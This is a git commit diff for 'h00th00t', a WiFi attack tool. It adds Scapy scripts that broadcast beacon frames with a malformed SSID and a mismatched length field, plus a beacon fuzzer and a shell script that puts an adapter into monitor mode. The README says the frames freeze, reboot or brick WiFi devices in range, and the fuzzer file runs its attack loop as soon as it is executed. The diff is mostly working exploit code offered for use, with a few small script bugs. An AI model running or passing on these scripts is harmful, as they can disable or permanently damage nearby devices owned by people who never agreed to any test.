added a fuzzer file to play with, taken from ASS

README.md

@@ -1,7 +1,8 @@
 # h00th00t
 ## Sub-Byte Binary Underflow in WiFi Devices
 ## Warning: Test With Extreme Care
-### Summary
+### Warning: USE AT YOUR OWN PERIL
+## Summary
 Sending WiFi beacons where the SSID is set to some non-byte number of bits and a poorly matching SSID length breaks many random WiFi devices in range.  
   
 Some devices freeze, some reboot, some break, some brick.  
@@ -19,10 +20,19 @@ Testing is very challenging as it requires being out of range of all other WiFi
 
 ## Hooting (usage)
 **DO NOT TEST IN RANGE OF ANY DEVICE YOU ARE UNWILLING TO DAMAGE**
-1. Install [Scapy](https://scapy.readthedocs.io/en/latest/installation.html)
+_prerequisites_
-2. Uncomment line `19` of [h00thoot.py](./h00th00t.py)
+1. Linux with bash (tested on fully upgraded Kali Linux 2025.2 on Raspberry Pi 5)
-3. `python h00th00t.py`
+2. Python3 (tested on Python 3.13.3)
+3. [Scapy](https://scapy.readthedocs.io/en/latest/installation.html) (tested on Scapy 2.6.13)
+4. [A wifi device capable of monitor mode](https://www.stationx.net/best-wifi-adapters-for-kali-linux/) (tested with Alfa AWUS036ACH)
 
+_running_
+1. Set wifi device to monitor mode `bash wifi_monitor_mode.sh`
+   * for usage see note at the top of [wifi_monitor_mode.sh](./wifi_monitor_mode.sh)
+2. Optional: edit line `4` and `5` of [h00thoot.py](./h00th00t.py) to match your sender and wifi device preferences
+   * Defaults to random source MAC and device wlan1
+3. Install 
+4. Uncomment line `38` of [h00thoot.py](./h00th00t.py)
+5. `sudo python h00th00t.py`
 ---
-  
+![Stolas uwu~](./assets/stolas-headdesk.gif)
-![Stolas uwu~](./stolas-headdesk.gif)

esp_h00h00t/how_do_i_look.txt

@@ -0,0 +1 @@
+How do I look? Do I look alright? Tell me I'm pretty, a lovely sight

h00th00t.py

@@ -1,19 +1,47 @@
 from scapy.all import *
 
 # config your stuff here
-iface = 'wlan1'
+iface = 'wlan1' # wifi interface in monitor mode
-sender = RandMAC()
+sender_bssid_mac = RandMAC() # used for source mac and bssid
+# sender_bssid_mac = 'ac:cb:12:ad:58:27'
 
 # send raw wifi beacon frames
-def beacon_raw(SSID, length=255):
+## USAGE:
-	dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=RandMAC(), addr3=RandMAC())
+###     beacon_raw(<SSID>, <REPORTED SSID LENGTH IN 8 BIT BYTES>, <INTERVAL IN SECONDS>)
-	beacon = Dot11Beacon()
+###     or
-	essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
+###     beacon_raw(SSID=<SSID>, reported_length=<REPORTED SSID LENGTH IN 8 BIT BYTES>, interval_seconds=<INTERVAL IN SECONDS>)
-	frame = RadioTap()/dot11/beacon/essid
+## DEFAULTS:
-	print("FIRIN MY LAZORRRRRR")
+###      SSID="PrincessPiNet"
-	sendp(frame, iface=iface, inter=0.250, loop=1)
+###     reported_length=13
+###     interval_seconds=0.25
+def beacon_raw(SSID=b"PrincessPiNet", reported_length=13, interval_seconds=0.25):
+    # set the frame settings
+    # addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid    
+    dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender_bssid_mac, addr3=sender_bssid_mac) # set the frame settings
 
-ssid_binary = 0b0101 # a few random bits to send as the SSID
+    # set ssid info
+    ssid_info = Dot11Elt(ID='SSID', info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length
 
-# please be careful with this, it can crash your local wifi devices
+    # assemble the frame
-# beacon_raw(ssid_binary, length=255) # send it
+    frame = RadioTap()/dot11/Dot11Beacon()/ssid_info
+
+    # print info
+    print(f"FIRIN MY LAZORRRRRR\n\tSSID: {SSID}\n\treported length: {reported_length}\n\tinterval seconds: {interval_seconds}\n\tsender bssid/mac: {sender_bssid_mac}\n")
+    
+    # print packet
+    print("\n\nField Values\n")
+    ls(frame)
+
+    # hexdump packet
+    print("\n\nHexdump\n")
+    hexdump(raw(frame))
+
+    # send it
+    sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop
+
+# this can be most any value really experimentation is needed
+ssid_binary = 0b1 # a few random bits to send as the SSID
+
+# please be careful with this, it can crash or damage your local wifi devices
+# beacon_raw(SSID=ssid_binary, reported_length=32) # send it! USE WITH EXTREME CARE
+beacon_raw() # send dummy normal beacon for testing

wifi-beacon-fuzz.py

@@ -0,0 +1,113 @@
+from scapy.all import *
+import urllib.parse
+#from random import randbytes
+import random
+
+iface = 'wlan1'
+sender = 'ac:cb:12:ad:58:27'
+
+def sendProbe(SSID, repeat=3, interval=0.100):
+	dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
+	addr2=sender, addr3=sender)
+	beacon = Dot11Beacon()
+	essid = Dot11Elt(ID='SSID',info=SSID, len=len(SSID))
+	frame = RadioTap()/dot11/beacon/essid
+	sendp(frame, iface=iface, inter=interval, count=repeat)
+
+def sendProbeRaw(SSID, repeat=1, interval=0.200, listedLen=255):
+        dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff',
+        addr2=sender, addr3=sender)
+        beacon = Dot11Beacon()
+        essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=listedLen)
+        frame = RadioTap()/dot11/beacon/essid
+        sendp(frame, iface=iface, inter=interval, count=repeat)
+
+def sendRandBytesBeacons(numOfBeacons=200, lenOfSSIDs=20, repeat=3, interval=0.100):
+	for i in range(numOfBeacons):
+		SSID = randbytes(lenOfSSIDs)
+		urlEncoded = urllib.parse.quote(SSID)
+		print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tLength: {lenOfSSIDs}\n\tSSID: {urlEncoded}\n")
+		sendProbe(SSID, repeat, interval)
+
+def sendProbeFuzz(repeat=1, interval=0.150):
+	randMAC = '6e:07:9e:96:2b:4e'
+	# randMAC = RandMAC()
+	randLen = RandNum(0, 255)
+	randSSIDLen = random.randint(0,255)
+	randSSIDBytes = random.randbytes(randSSIDLen)
+	urlEncoded = urllib.parse.quote(randSSIDBytes)
+
+	dot11 = Dot11(type=0,
+		subtype=8,
+		addr1='ff:ff:ff:ff:ff:ff', # dst set to broadcast
+		addr2=randMAC, # random source
+		addr3=randMAC) # random bssid
+	
+	beacon = Dot11Beacon()
+	
+	essid = Dot11Elt(ID='SSID',
+		info=RawVal(randSSIDBytes),
+		len=RawVal(randLen))
+	
+	frame = RadioTap()/dot11/beacon/essid
+	
+	print(f"src={randMAC}, dst=ff:ff:ff:ff:ff:ff, BSSID={randMAC}\n\tSSID Set Length: {randLen}\n\tActual SSID Length: {randSSIDLen}\n\tSSID: {urlEncoded}")
+	sendp(frame, iface=iface, inter=interval, count=repeat)
+
+def sendFuzzBeacons(numOfBeacons=200,
+	repeat=1,
+	interval=0.150):
+	
+	for i in range(numOfBeacons):
+		print(f"\n{i} of {numOfBeacons}")
+		sendProbeFuzz()
+
+def sendRandBytesBeaconsRaw(
+	numOfBeacons=200,
+	lenOfSSIDs=256,
+	listedLen=255,
+	repeat=1,
+	interval=0.2):
+	
+	for i in range(numOfBeacons):
+		SSID = random.randbytes(lenOfSSIDs)
+		urlEncoded = urllib.parse.quote(SSID)
+		print(f"\n{i} of {numOfBeacons}\n\tRepeats: {repeat}\n\tListed Length: {listedLen}\n\tReal Length: {lenOfSSIDs}\n\tInterval: {interval} Seconds\n\tSSID: {urlEncoded}")
+		sendProbeRaw(SSID, repeat, interval, listedLen)
+
+
+
+#sendRandBytesBeaconsRaw(numOfBeacons=100, lenOfSSIDs=1, listedLen=255, repeat=3, interval=0.15)
+#sendRandBytesBeacons(100, 20, 5, 0.1)
+
+
+def fullFuzz(
+	numOfBeacons=200,
+	repeat=3,
+	interval=0.150):
+
+	for i in range(numOfBeacons):
+		realLenSSID = random.randint(0,255)
+		SSID = random.randbytes(realLenSSID)
+		urlEncoded = urllib.parse.quote(SSID)
+		fakeLenSSID = random.randint(0,255)
+		senderMAC = RandMAC()
+
+		dot11 = Dot11(type=0, subtype=8,
+				addr1='ff:ff:ff:ff:ff:ff',
+				addr2=senderMAC,
+				addr3=senderMAC)
+		
+		beacon = Dot11Beacon()
+
+		essid = Dot11Elt(ID='SSID',
+				   info=SSID,
+				   len=fakeLenSSID)
+					
+		frame = RadioTap()/dot11/beacon/essid
+		
+		print(f"\n{i}/{numOfBeacons}\n\tEach Repeats: {repeat}\n\tReal Length: {realLenSSID}\n\tFake Length: {fakeLenSSID}\n\tSender MAC: {senderMAC}\n\tSSID: {urlEncoded}\n")
+
+		sendp(frame, iface=iface, inter=interval, count=repeat)
+
+fullFuzz()

wifi_monitor_mode.sh

@@ -0,0 +1,109 @@
+#!/bin/bash
+# usage:
+##  wifi_monitor <WIFI DEVICE> <METHOD>
+###  examples
+####  wifi_monitor # DEFAULTS wlan1 and ip method
+####  wifi_monitor wlan1 # wlan1 and default ip method
+####  wifi_monitor wlan0 i # wlan0 and ip method
+####  wifi_monitor wlan0 a # wlan0 and airmon-ng method
+####  wifi_monitor wlan0 if # wlan0 and ifconfig method
+##  wifi device
+###   wlan0 [DEFAULT]
+##  methods:
+###   ifconfig, iwconfig, if, or iw  ifconfig/iwconfig method
+###   ip, iw or i - ip/iw method [DEFAULT]
+###   airo, air, airmon-ng, or a - airodump-ng/airmon-ng method
+
+# set -e # fail on error
+
+check_package () {
+    which -s $1 1>/dev/null 2>/dev/null
+    package_check=$?
+
+    if [ $package_check -ne 0 ]; then
+        echo "FAIL: $1 is not installed, exiting"
+        exit
+    fi
+}
+
+ifconfig_method () {
+    echo "Defaulting to ifconfig/iwconfig method on $wlan"
+
+    # test packages
+    check_package ifconfig
+    check_package iwconfig
+
+    echo "Taking down $wlan"
+    sudo ifconfig $wlan down
+
+    echo "Setting $wlan to monitor mode"
+    sudo iwconfig $wlan mode monitor
+
+    echo "Bringing $wlan back up"
+    sudo ifconfig $wlan up
+}
+
+ip_method () {
+    echo "Using ip/iw method for monitor mode on $wlan"
+
+    # check packages
+    check_packages ip
+    check_package iw
+
+    echo "Taking down $wlan"
+    sudo ip link set $wlan down
+
+    echo "Setting $wlan to monitor mode"
+    sudo iw dev $wlan set type monitor
+
+    echo "Bringing $wlan back up"
+    sudo ip link set $wlan up
+}
+
+airmon_method () {
+    echo "Using airmon-ng method for monitor mode on $wlan"
+
+    # check packages
+    check_package airmon-ng
+    check_package airodump-ng
+
+    wifi_mon="${wlan}mon" # name the monitor device
+
+    echo "Cleaning up any existing processes"
+    sudo airmon-ng check kill
+
+    echo "Starting $wlan in monitor mode"
+    sudo airmon-ng start $wlan
+
+    echo "Putting $wlan in monitor mode"
+    sudo airodump-ng $wlan
+}
+
+echo "Setting up for monitor mode"
+
+if [ -z $1 ]; then
+    echo "Defaulting to wlan1 for wifi device"
+    wlan=wlan1
+else
+    echo "Using $1 for wifi device"
+    wlan=$1
+fi
+
+# default, ifconfig/iwconfig method
+if [ -z $2 ]; then # default ip method
+    ip_method
+elif [ "$2" == "ifconfig" -o "$2" == "if" ]; then
+    ifconfig_method # explicit ifconfig method
+elif [ "$2" == "ip" -o "$2" == "i" -o "$2" == "iw" ]; then
+    ip_method
+elif [ "$2" == "airo" -o "$2" == "air" -o "$2" == "airmon-ng" -o "$2" == "a" ]; then
+    airmon_method
+fi
+
+echo "Hold on 5 seconds..."
+sleep 5
+
+echo "Current wireless configuration"
+iwconfig
+
+echo "Done!"